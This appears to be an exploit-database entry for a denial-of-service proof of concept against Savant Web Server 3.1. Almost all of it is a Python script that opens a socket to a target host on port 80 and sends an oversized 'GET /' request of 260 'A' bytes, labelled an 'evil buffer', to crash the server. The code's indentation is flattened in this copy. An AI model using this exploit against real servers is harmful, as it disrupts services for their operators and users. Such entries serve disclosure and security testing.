发布 2012-01-22 漏洞条目

Savant Web Server 3.1 – Denial of-Service (PoC)

Exploit Source

#!/usr/bin/python

import socket

import sys

from struct import pack

try:

server = sys.argv[1]

port = 80

size = 260

httpMethod = b"GET /"

inputBuffer = b"\x41" * size

httpEndRequest = b"\r\n\r\n"

buf = httpMethod + inputBuffer + httpEndRequest

print("Sending evil buffer...")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((server, port))

s.send(buf)

s.close()

print("Done!")

except socket.error:

print("Could not connect!")

相关漏洞条目